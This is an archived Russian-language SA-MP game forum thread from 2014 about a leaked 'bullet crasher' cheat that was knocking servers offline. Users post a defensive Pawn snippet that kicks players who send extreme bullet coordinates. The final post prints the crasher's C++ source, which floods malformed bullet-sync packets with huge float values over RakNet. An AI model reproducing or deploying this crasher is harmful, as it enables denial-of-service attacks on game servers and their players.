Новый крашер - Printable Version
+- SA-MP Forums Archive (
https://sampforum.blast.hk)
+-- Forum: Non-English (
https://sampforum.blast.hk/forumdisplay.php?fid=9)
+--- Forum: Languages (
https://sampforum.blast.hk/forumdisplay.php?fid=33)
+---- Forum: Русский/Russian (
https://sampforum.blast.hk/forumdisplay.php?fid=32)
+---- Thread:  Новый крашер (
/showthread.php?tid=535550)
 
Новый крашер - 
xStunt -  04.09.2014
Привет ребятки! сегодня слили новый крашер в паблик... на всех серверах уже крашат, и онлайн сильно сильно упал...
Что поэтому думаете?
Re: Новый крашер - 
Nixon13 -  04.09.2014
Что тут думать,херово,надо фиксить.
Принцип работы никто не разобрал ещё?
Re: Новый крашер - 
Silicium -  04.09.2014
Сурс в паблике вроде как. Иди и разбирай принцип работы.
Re: Новый крашер - 
xStunt -  04.09.2014
Quote:
| 
					Originally Posted by Nixon13  Что тут думать,херово,надо фиксить.Принцип работы никто не разобрал ещё?
 | 
 KaZax уже выложил его версию фикса
Re: Новый крашер - 
Nixon13 -  04.09.2014
Quote:
| 
					Originally Posted by Fich  KaZax уже выложил его версию фикса | 
 Благодарю за инфу.
Re: Новый крашер - 
XemyL -  04.09.2014
PHP код:
public OnPlayerWeaponShot(playerid, weaponid, hittype, hitid, Float:fX, Float:fY, Float:fZ)
{
    if(hittype == BULLET_HIT_TYPE_PLAYER && (fabs(fX) > 10.0 || fabs(fY) > 10.0 || fabs(fZ) > 10.0)) return Kick(playerid);
    return 1;
}
Float:fabs(Float:f) return (f < 0) ? (-f) : (f); 
 
Re: Новый крашер - 
Stepashka -  04.09.2014
Quote:
| 
					Originally Posted by XemyL  
PHP код: 
public OnPlayerWeaponShot(playerid, weaponid, hittype, hitid, Float:fX, Float:fY, Float:fZ)
{
 if(hittype == BULLET_HIT_TYPE_PLAYER && (fabs(fX) > 10.0 || fabs(fY) > 10.0 || fabs(fZ) > 10.0)) return Kick(playerid);
 return 1;
 }
 Float:fabs(Float:f) return (f < 0) ? (-f) : (f);
 
 | 
 Вы про функцию 
floatabs никогда не слышали
 
Re: Новый крашер - 
xStunt -  04.09.2014
Тема с фиксом от KaZax:
https://sampforum.blast.hk/showthread.php?tid=535543
Re: Новый крашер - 
XemyL -  04.09.2014
Quote:
| 
					Originally Posted by Stepashka  Вы про функцию floatabs  никогда не слышали  | 
 Да писал функцию для integer, написал заодно и для float, бывает 
 
Re: Новый крашер - 
stabker -  04.09.2014
Quote:
| 
					Originally Posted by Silicium  Сурс в паблике вроде как. Иди и разбирай принцип работы. | 
 У вас есть ссылка? Если есть, поделитесь, пожалуйста.
upd: нашел.
Код:
void cheat_generic_bullet_crasher()
{
    if(cheat_state->_generic.bullet_crasher) //by urShadow for BlastHack.Net
    {
        static DWORD time;
        if(GetTickCount() - 40 > time)
        {
            BULLET_SYNC_DATA sBulletSync;
            memset(&sBulletSync, 0, sizeof(BULLET_SYNC_DATA));       
 
            sBulletSync.byteHitType = 1;
            sBulletSync.usHitID = g_Players->sLocalPlayerID;
            float fValue = (float)0x7777777B;
            sBulletSync.fCenterOfHit[0] = fValue;
            sBulletSync.fCenterOfHit[1] = fValue;
            sBulletSync.fCenterOfHit[2] = fValue;                   
 
            RakNet::BitStream bsBulletSync;
            bsBulletSync.Write((BYTE)ID_BULLET_SYNC);
            bsBulletSync.Write((PCHAR)&sBulletSync, sizeof(BULLET_SYNC_DATA));
            pSAMP->Send(&bsBulletSync);       
           
            time = GetTickCount();
        }
    }
}